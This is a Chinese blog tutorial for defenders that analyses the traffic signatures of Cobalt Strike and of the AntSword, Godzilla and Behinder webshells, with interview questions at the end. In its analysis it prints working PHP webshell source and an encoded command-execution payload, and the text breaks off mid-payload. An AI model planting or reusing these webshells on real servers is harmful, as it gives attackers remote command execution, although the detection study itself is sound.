学习干货|HVV必学远控工具及Webshell流量合集分析(建议收藏+附面试题)

文摘   2024-06-01 09:31   北京  

0x01 前言

    本篇文章为各位师傅总结了一些当下流行的Webshell远程工具及其中的流量分析,方便在平时监测、hvv、攻防演练中进行及时发现、阻拦回溯等、在某些比赛上可能也会有类似的流量分析题目,根据工具的一些流量特征进行说明,其中会附带一些常见的面试题,当然了,面试题基本是主观题,一人一个说法,仅供参考

工具: C2/CobaltStrike工具: Webshell/蚁剑工具: Webshell/哥斯拉工具: Webshell/冰蝎      冰蝎2&冰蝎3&冰蝎4

* 文章仅供参考、主观题仅为个人观点,不做为固定答案

0x02 流量分析

CobaltStrike

1. 工具概述

    先来了解一下"CobaltStrike"是什么,C2又是什么?通俗的来讲:"CobaltStrike"又被称为CS,是一款黑客常用的远控工具,可以做很多的攻击操作,也被称为客户端,C2就是中间所用到的远控服务器,又被称为服务端,服务端可以是一个,而客户端可以是多个,所以CS也被称为团队协同作战,深受红队佬们的喜爱

    正常情况下来讲,基本流量走向如下图,此处不演示其他安全设备

    有关于CS工具的基础使用教程和介绍可以参考我之前写的文章↓

安全工具|初识 Cobalt Strike神器(远控木马)

2. 流量过程

    由于DNS所需配置较多,此处不进行演示,有需要阅读DNS beacon相关知识的师傅,可自行搜索

    首先就是我们本地生成了一个stage.exe文件,没免杀的情况下先把杀软关掉,主要是分析流量

CS客户端: 192.168.150.7C2服务端: 192.168.150.2被控主机: 192.168.150.1

    此处我在客户端向服务端开启了一个5000的监听端口,被控主机上线后,所有操作(心跳包、请求返回)都会到C2的5000端口,然后在转发给我们客户端

    当触发exe文件后,会自动上线至CS,即为被控端->C2:5000->CS的概念,我们此时抓取流量包,当第一个请求时,exe会下载payload,以 http 协议从指定服务器端口下载 

    然后接着就是HTTP后续请求的URL不唯一,但是会遵循checksum8 规则,这里有一个程序去验证,通过此方法验证木马是32位还是64位(流量特征未魔改的前提下)

public class EchoTest {
public static long checksum8(String text) {
if (text.length() < 4) {
return 0L;
}
text = text.replace("/", "");
long sum = 0L;
for (int x = 0; x < text.length(); x++) {
sum += text.charAt(x);
    }
return sum % 256L;
}
public static void main(String[] args) throws Exception {
 // 我们此处请求的URL为rWDP System.out.println(checksum8("rWDP"));
}
}

    接着往下看特征,正常情况下,CS默认发送心跳包是每60秒一次,主要是验证主机是否在线,即为向CS服务端发送http请求,cookie中携带了被控端信息

    接着就是过程传输特征,当攻击者从客户端发送命令,如ipconfig时,命令会被放入到流量包中,因为流量被加密了,这时候我们借助工具进行解密及查看明文

    我们可以使用工具配合key文件去拿到私钥的,在这之前,我看到雨神写的文章中提供的工具,拿工具可以直接解密出他的私钥,无需携带其它参数,但是换个其它的加密信息就不行了,不确定是否工具内已经包含了他的key文件内容

工具:https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/

    然后key文件在服务端的目录下,名为: .cobaltstrike.beacon_keys

    我们直接使用上方工具拿到了私钥,接着可以使用私钥去查看传输过程中的明文(注意,实战中防守方是没有key文件的)

    其实还有个方法,但是我这里没有复现成功,下方工具

https://github.com/minhangxiaohui/CSthing/tree/master/1768_v0_0_8

    在使用此工具之前,我们需要先将触发上线后的第一条http请求导出进行查看

    一开始也说了,当第一个请求时,exe会下载payload,以 http 协议从指定服务器下载 ,这个包内包含了向服务端的基本信息

    使用 -V参数即为verbose,但是我也试了,并没有私钥,只有公钥,不确定是不是和CS版本有关

    通过使用工具:cs-parse-http-traffic 我们携带私钥对流量包过滤了http流量,解密出执行的命令和回显结果明文

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

    相较于http协议,https协议在无魔改的情况下,只增加了TLS流量加密,其它行为特征基本差不多

3. 流量特征

    Q1. http请求中URL的不规则性,且一般GET偏多(除下发命令外,心跳包GET请求不规则URL)可参考上方checksum8说明,然后cookie中带有RSA加密的信息

    Q2. 老版本中的user-agent固定不变,而新版本中的user-agent每次都会变化

    Q3. 在正常情况下,心跳包是GET请求且时间有规律性(无魔改),可以通过心跳包简单判断,而在执行命令时,回传会有POST传参,且数据包内有内容,并且以submit.php?id=xxxxx结尾

    Q4. 在HTTPS协议中,默认情况下使用空证书建立通信,当怀疑是否为CS时,可以复现流量过程中使用1768.py进行拆解流量包

    Q5. ja3/ja3s特征,在进行https握手通信阶段时,server hello包内会有JA3/JA3S字段,这个和版本、系统、CS版本有关,无法通过文件去修改(profile)

    Q6. 在C2服务器中,默认情况下开启端口为50050,这个端口是CS客户端用来连接互通的,如果拿到了地址后,可以相对进行溯源反制等(端口可以在teamserver进行修改,只作为辅助参考)

    当然,我们还需要注意的是,排除以上http/https/DNS特征之外,我们还需要注意,在实战攻防中,攻击者可能还会使用包括不限于:云函数、CDN、替换伪造证书、魔改等方式进行流量混淆,隐藏IP等,由于工具的特性,最主要是防钓鱼以及对业务系统漏洞的周期性排查,此工具涉及的知识挺多,不在一一叙述,题外话,在之前使用CS对已有的安全设备流量监测/CSP设备进行测试,发现启明星辰的CSP确实在这一点上挺好用的,监测及时,其它设备上对于WEB相关异常流量也不逊色,当初CS测试的图暂时找不到了,补一张其它工具的

4. 面试题

CS的流量特征?答: 心跳包默认60秒,默认端口50050,随机或固定的UA根据版本判断,0.0.0.0是DNS beacon默认特征可以根据URL判断,根据初次下载payload的请求,遵循checksum8原则计算,当结果为92或93时,CS无魔改使用工具解密心跳流量,具体工具步骤见上关于https中,去查看同一系统下ja3及ja3s值是否一致判定DNS隧道技术来传输数据,在DNS请求中,域名可能以特定前缀开头(如“cdn.”、“www6.”、“api.”等),查询结果可能包含非常规的IP地址,这些地址用于指令传输或心跳检测对于而开的C2可提取样本分析

蚁剑/AntSword

1. 工具概述

    蚁剑并不陌生,一款傻瓜式上手快的Webshell工具,还记得当初第一次听到的菜刀,后来用的蚁剑,菜刀和蚁剑的流量传输过程相似,但是现在菜刀特征太明显了,而且慢慢退幕了的感觉

    配合一句话木马连接后可以做很多可视化操作,我们本次主要看一下流量和特征,本地做代理到burp suite,也是在本地用PHP study进行一句话木马操作

玄机平台有相关题目,有账号的师傅可以进行体验,邀请码下次会继续发

2. 流量过程

    此处我们使用一句话木马,POST传参的方式,密码为cmd进行连接

    先是明文传输(default)进行连接并执行操作,查看并理解其中程序及返回

    我们在点击了测试连接后,客户端返回连接成功,查看到返回包中第一个先是shell.php的文件目录,然后就是主机信息,cmd就是所谓的密码,也就是执行的数值以cmd参数进行传输,请求包被url编码了,我们先行解码,看看怎么个事

<?php// 设置 PHP 错误处理选项,禁止显示错误@ini_set("display_errors", "0");
// 设置 PHP 执行时间限制为无限制@set_time_limit(0);
// 获取当前 PHP 配置中的 open_basedir 选项$opdir = @ini_get("open_basedir");
// 如果存在 open_basedir 限制if ($opdir) { // 获取当前脚本所在目录 $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 将 open_basedir 选项按分号或冒号分割成数组 $oparr = preg_split("/;|:/", $opdir);
// 将当前目录以及系统临时目录添加到 oparr 数组中 @array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历 oparr 数组 foreach ($oparr as $item) { // 如果当前项不可写,则继续下一项 if (!@is_writable($item)) { continue; }
// 构建一个临时目录路径 $tmdir = $item . "/.19f4c";
// 创建临时目录 @mkdir($tmdir);
// 如果创建失败,则继续下一项 if (!@file_exists($tmdir)) { continue; }
// 尝试进入临时目录并修改 open_basedir 选项 @chdir($tmdir); @ini_set("open_basedir", "..");
// 返回上级目录直到恢复正常的 open_basedir 设置 $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }
// 恢复 open_basedir 设置为默认 @ini_set("open_basedir", "/");
// 删除临时目录 @rmdir($tmdir);
// 结束循环 break; }}
// 定义一个加密函数function asenc($out) { return $out;}
// 定义一个输出函数function asoutput() { // 获取输出缓冲区内容并清空缓冲区 $output = ob_get_contents(); ob_end_clean();
// 输出加密前缀 echo "c072" . "4a7f9";
// 输出经过加密函数加密后的内容 echo @asenc($output);
// 输出加密后缀 echo "a54ec" . "40fa8";}
// 开始输出缓冲区ob_start();
// 尝试执行以下代码块try { // 获取当前脚本所在目录 $D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果为空,则尝试使用 PATH_TRANSLATED 获取当前脚本所在目录 if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 初始化返回结果字符串 $R = "{$D} ";
// 如果目录路径不是绝对路径,则尝试获取其他盘符 if (substr($D, 0, 1) != "/") { foreach (range("C", "Z") as $L) { if (is_dir("{$L}:")) $R .= "{$L}:"; } } else { $R .= "/"; }
// 添加一个制表符 $R .= " ";
// 获取当前用户信息 $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; $s = ($u) ? $u["name"] : @get_current_user();
// 获取系统信息,并添加到结果字符串中 $R .= php_uname(); $R .= " {$s}";
// 输出结果字符串 echo $R;} catch (Exception $e) { // 如果执行过程中发生异常,则输出错误信息 echo "ERROR://" . $e->getMessage();}
// 调用输出函数并结束脚本执行asoutput();die();?>

    以上是在尝试连接时,蚁剑对于系统的一个连接测试请求,我们在命令行输入whoami后,再次查看数据请求

    往下看,此请求包中程序定义了一个参数为'teb080cc3b241b',我们复制其中的值去掉前两位pj进行base64解码

    可以看到它中间执行的命令,whoami在中间被执行

    在默认明文传输过程中,执行命令和连接请求差异就是定义的命令和执行的参数不同,而上方的代码是不做修改的

    很明显的特征就是每次请求总会以 'ini_set'和'set_time_limit'开始,每次返回响应包都是明文

    接着就是看base64编码解码器,就是在传输过程中,传输的数值被进行了base64编码,返回的数值也是如此

    在以上请求中,我们仍然发送了一个测试请求,不同的是,程序先是使用eval函数进行解码了一个参数名为"ha23ebf7d050f6"其中的数据,后面就是原始数据了,我们对于程序进行了格式化后看到,对比明文数据,就是对传输数据做了一个base64编码操作,其它未修改

    我们继续命令行发送whoami命令,看到下面的base64编码,去除前两位就是whoami,我们对返回内容,去掉等于号后面的数字,和base64前面的数字可以得到明文数据

    这里前后的数字是因为在传输之前,程序定义好的,也可以理解为唯一性校验

    再来看其它默认的一些编码器,如chr和rot13等,比如我们现在用的是PHP语言,那么它的编码所用程序一般在 antSword\source\core\php\encoder目录下

    在第17行中我们可以看到chr的大小写有变化,我们通过测试流量也可以看到确实是根据规则进行的

    而rot13就是对原字符向前或向后移动13位,两次移动后就是原文

    编码和解码器编写此处不在过多叙述,可以参考一下麋鹿师傅的文章

魔改蚁剑之零基础编写解码器

    经过rot13转码后看着是杂乱无章的字母,在经过返回时使用str_rot13函数进行转回来就是原文

<?php echo $zhou=str_rot13("Zhoudi");echo "<br>";echo $zhou;echo "<br>";echo str_rot13($zhou);?>

3. 流量特征

    在这之前我们需要先了解一下蚁剑的魔改,一般魔改流量都是在编码和解码器进行的,这是基于内容进行传输的,主要绕过WAF和其它安全设备,上方麋鹿师傅已经写过了,很详细

    其次就是在一般的传输过程中,user-agent,包内的定界随机数(上面说的唯一值校验),0x_开头等

    Q1. 随机的UA头或固定的UA头

    在一些版本中有明显的AntSword/xxx之类的UA头,但是现在新版本好像没了,然后明显的是在默认情况下,UA头同一IP每次请求的UA不一样,一直在变化

    但是这个配置在中时,可以编辑需要的UA,或者在modules/request.js和update.js修改

    然后就是在可视化页面中,编辑里面修改UA,但是这个只针对当前的攻击目标

    所以Q1一般可以作为辅助条件进行判定,假设攻击者修改了正常UA,就需要其它条件判断

    Q2. 正常情况下总是以POST方式传参,并返回shell路径

    Q3. 都存在"@ini_set("display_errors", "0");@set_time_limit(0);",base64情况下是"QGluaV9zZXQ"(eval),在chr情况下"cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116)",在rot13的情况下"@vav_frg

    Q4. 相应内容中包含随机数,这个我自己理解为唯一性标识,每次请求时响应内容前后会有随机数

    Q5. 规律性的参数开头,比如有些有些加密流量可能看不出什么,但是有些混淆流量大多参数以0x_...或_0x之类的开头,或以其它方式开头,自行判断

    Q6. 随机前缀长度和垃圾字符填充,和绕过安全设备有关,这里也可以参考一下

4. 面试题

蚁剑的特征:支持自定义加密,但shell不稳定,且对JSP兼容性比较差特征码为data:("display_errors" AND "set_time_limit(0)"agent:"antSword/v2.0或动态UA不同语言的特征:Php:assert、eval关键词执行Asp:eval在jsp中使用Java:同时会带有base64编码解码等字符特征

哥斯拉/Godzilla

1. 工具概述

    哥斯拉的工具作者是: BeichenDream大佬,据说目前在三百六任职,大佬的往期事迹可自行搜索,此工具与2020年开发,初代代码一万多行,与其它早期Webshell工具相比,不同的是,此工具可兼容多种后渗透插件,轻便且自带多种加密方式,支持ASP、JSP、PHP等语言,我们此次依然是以PHP为例,工具版本为最新版4.0.1复现,代理至本地以burp suite查看

2. 流量过程

    首先,我们还是用原来的一句话木马,选择默认选项并点击测试,不同其它工具的是,哥斯拉的流量发送测试包后会出现3个包,失败的情况下是2个包,先使用加密器EVAL_XOR_BASE64测试

    在第一个数据包中,明显的是没有cookie,并发送了大量的数据,然后响应包中无响应内容

    在第二个包中可以看到,原先的响应包内cookie在第二个请求包中存在了,且响应内容不为空

    接着往后看,我选择了进入系统,后面发送了几个请求包,看似是base64,实则进行了XOR加密

    接着就是解密阶段,解密有脚本的,下方链接直达

https://github.com/nocultrue/Deco_Godzilla

    先说原理: 因为我们已经知道,哥斯拉在第一个数据包会发送大量的数据,这个是预先要定义设置的函数,后续将使用相关的函数方法进行操作,而密码和key是由客户端选择生成的,但是在传输过程中会看到,看请求包,密码是cmd,key则是aizhou

    上图中,程序通过cmd(密码)先进行url解码,然后反转字符串再进行base64解码,key是aizhou,这样看就明显了吧,然后我们尝试解密解码

eval(base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSZ3MWM0AzN2MTN2IzNzQTOn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSdvhmepF2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'))));
取出上方base64字符先反转DQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIGVuY29kZSgkRCwkSyl7DQogICAgZm9yKCRpPTA7JGk8c3RybGVuKCREKTskaSsrKSB7DQogICAgICAgICRjID0gJEtbJGkrMSYxNV07DQogICAgICAgICREWyRpXSA9ICREWyRpXV4kYzsNCiAgICB9DQogICAgcmV0dXJuICREOw0KfQ0KJHBhc3M9J2FpemhvdSc7DQokcGF5bG9hZE5hbWU9J3BheWxvYWQnOw0KJGtleT0nOTQzNzI2NTM2NzA0MWM3ZSc7DQppZiAoaXNzZXQoJF9QT1NUWyRwYXNzXSkpew0KICAgICRkYXRhPWVuY29kZShiYXNlNjRfZGVjb2RlKCRfUE9TVFskcGFzc10pLCRrZXkpOw0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJHBheWxvYWROYW1lXSkpew0KICAgICAgICAkcGF5bG9hZD1lbmNvZGUoJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV0sJGtleSk7DQogICAgICAgIGlmIChzdHJwb3MoJHBheWxvYWQsImdldEJhc2ljc0luZm8iKT09PWZhbHNlKXsNCiAgICAgICAgICAgICRwYXlsb2FkPWVuY29kZSgkcGF5bG9hZCwka2V5KTsNCiAgICAgICAgfQ0KCQlldmFsKCRwYXlsb2FkKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDAsMTYpOw0KICAgICAgICBlY2hvIGJhc2U2NF9lbmNvZGUoZW5jb2RlKEBydW4oJGRhdGEpLCRrZXkpKTsNCiAgICAgICAgZWNobyBzdWJzdHIobWQ1KCRwYXNzLiRrZXkpLDE2KTsNCiAgICB9ZWxzZXsNCiAgICAgICAgaWYgKHN0cnBvcygkZGF0YSwiZ2V0QmFzaWNzSW5mbyIpIT09ZmFsc2Upew0KICAgICAgICAgICAgJF9TRVNTSU9OWyRwYXlsb2FkTmFtZV09ZW5jb2RlKCRkYXRhLCRrZXkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0K
反转后数据进行base64解码<?php
@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){ for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D;}$pass='aizhou';$payloadName='payload';$key='9437265367041c7e';if (isset($_POST[$pass])){ $data=encode(base64_decode($_POST[$pass]),$key); if (isset($_SESSION[$payloadName])){ $payload=encode($_SESSION[$payloadName],$key); if (strpos($payload,"getBasicsInfo")===false){ $payload=encode($payload,$key); } eval($payload); echo substr(md5($pass.$key),0,16); echo base64_encode(encode(@run($data),$key)); echo substr(md5($pass.$key),16); }else{ if (strpos($data,"getBasicsInfo")!==false){ $_SESSION[$payloadName]=encode($data,$key); } }}
?>

    得到了密钥和大致原理后,我们可以拿其中执行命令的数据包使用工具进行解密了,请求包看到命令执行,调用了execCommand

    响应包中我们可以看到回显了当前用户

       除此之外,还有XOR_ROW和XOR_BASE64,需要客户端去生成shell,我们可以在本地看到key信息,与之前不同的是,PHP_XOR_RAW是通过php://input接收传输的直接传输二进制数据

    而XOR_BASE64则是通过被加密的数据后,再进行base64编码,此处对于base64观察

    还是老样子,第一个请求包无cookie,发送了大量配置信息,响应包无响应内容,生成了session

    第二三个包则是一样的了,主要是发送测试信息,我们还是可以在本地看到key

    使用key和上方工具进行解密即可,工具也可以解密RAW包,但是我这里没去试,需要转16进制

    有关于PHP暂时叙述这些,以上是运行过程中的流程,当然其中的一些操作,比如文件上传,文件下载等操作,在流量中的一些特征以及调用的函数可以自行复现测试,安全设备也是依靠特征去判定的

3. 流量特征

    首先,这是默认情况下原版的特征,未对加密改动的情况下特征,因为作者早已不更新了,外面出了很多二开版本,对加密增加了,对流量混淆了,对前有的特征进行消除等都可能,不作为二开版本分析依据

    Q1. 强特征,链接失败情况下2个流量包,成功为3个流量包

    Q2. 第一个请求总会发送大量数据,这是配置信息,且请求包内无cookie,服务器响应包无内容,生成一个session,后续请求会带上此session到请求包中的cookie中

    Q3. 强特征,这个不晓得作者是不是忘了去除了,生成的cookie后面有个分号

    Q4. UA可能为jdk版本号,哥斯拉可以修改UA,起码我下载的新版中没有这个特征,弱特征,可以做为辅助验证

    Q5. Accept字段: Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 我下载的版本是:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 同样作为弱特征,容易去除

    Q6. 响应内容中,哥斯拉会把32位的MD5拆分2部分放在base64前后,RAW加密器除外,也可以作为特征之一

    Q7. 请求体内容,较强特征,此检测方法较特殊,排除我们第一个复现的PHP_EVAL_XOR_BASE64特征较强之外,其它特征在判断时,安全设备误报率较高,因为需要key通信,安全设备无法进行解密,这个需要人为自行判定并溯源至源文件

4. 面试题

1. 哥斯拉工具有没有了解过按照自我认知进行回答,如上方简要概述其中部分内容如上方复现其中部分过程2. 哥斯拉了解吗,讲讲原理先进行理论回答,选出其中一部分代码进行大概回答通信过程如PHP_EVAL_XOR_BASE64通信过程,如何解密等3. 哥斯拉的特征按照上方特征内容进行回答即可

冰蝎/Behinde

1. 工具概述

    冰蝎这个工具太不陌生了,工具更新自我感觉较为频繁,大版本更新特征都会去除或变化,这才是压轴出场的,由于之前的一些Webshell工具流量容易被检测,被安全工具拦截,所以冰蝎的出现给通信流量监测带来的威胁也不小,交互流量对称加密,密钥动态生成(前期版本),不容易被监测,此处我们对2.0、3.0、4.0版本进行流量分析及特征分析

2. 流量过程

    先说冰蝎2.0,我是用的jdk8环境打开的,更高版本启动报错,尝试复现测试的师傅可以试着开启虚拟机进行jdk降级测试

    2.0版本和1.0版本差不多,密钥为动态生成,我们看一下下方代码

<?php
@error_reporting(0);
session_start();
// 检查是否传递了名为 "pass" 的 GET 参数if (isset($_GET['pass'])) { // 生成一个随机的密钥 $key = substr(md5(uniqid(rand())), 16); // 将密钥存储在会话变量中 $_SESSION['k'] = $key; // 打印出生成的密钥 print $key;} else { // 如果未传递 "pass" 参数,则获取存储在会话中的密钥 $key = $_SESSION['k']; // 从 HTTP 请求的主体中获取数据 $post = file_get_contents("php://input"); // 检查是否加载了 OpenSSL 扩展 if (!extension_loaded('openssl')) { // 如果没有加载 OpenSSL 扩展,则使用基于 base64 的简单加密解密方法 // 使用位运算对数据进行简单的异或操作 $t = "base64_" . "decode"; // 解码函数 $post = $t($post . ""); // 执行解码操作 // 对解码后的数据进行异或解密操作 for ($i = 0; $i < strlen($post); $i++) { $post[$i] = $post[$i] ^ $key[$i + 1 & 15]; // 异或操作 } } else { // 如果加载了 OpenSSL 扩展,则使用 AES128 解密算法进行解密 $post = openssl_decrypt($post, "AES128", $key); } // 将解密后的数据按 "|" 进行分割,得到函数名和参数 $arr = explode('|', $post); $func = $arr[0]; // 获取函数名 $params = $arr[1]; // 获取参数 // 创建一个类 C,其中包含 __invoke 方法,用于调用传递的函数和参数 class C { public function __invoke($p) { // 使用 eval 函数执行传递的函数代码 eval($p . ""); } } // 使用 call_user_func 函数调用类 C 的实例,并传递参数 @call_user_func(new C(), $params);}?>

    此处的动态密钥生成过程是GET方式接收一个参数,这里是pass也是默认,在冰蝎2.0版本中,工具默认会在参数后随机放3位数字:pass=xxx,接着使用uniqid生成唯一标识符,然后rand生成一个随机数,接着MD5进行哈希处理,使用substr进行截取前16位作为密钥,存放在session中

    此时我这里使用2.0版本进行请求,抓包看到发送2次请求,第一次请求生成了一个密钥生成后放入session,此密钥不做为后期利用,只是绑定会话使用,识别客户端

    接着是第二次请求,生成一个密钥,放入session,这次请求将密钥作为后期利用,我们可以看到后面请求包从GET变为了POST且最后一次GET中响应包的session在后面POST请求包cookie中做了绑定

    通过代码释义加大概流量流程,可以根据下图理解

    我们已知了最后一次请求的密钥为"828d67f14cbbee68",这个可以通过session去寻找的,因为是绑定的,然后执行whoami命令,拿密钥去AES解密,模式选择CBC(PHPshell)

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaX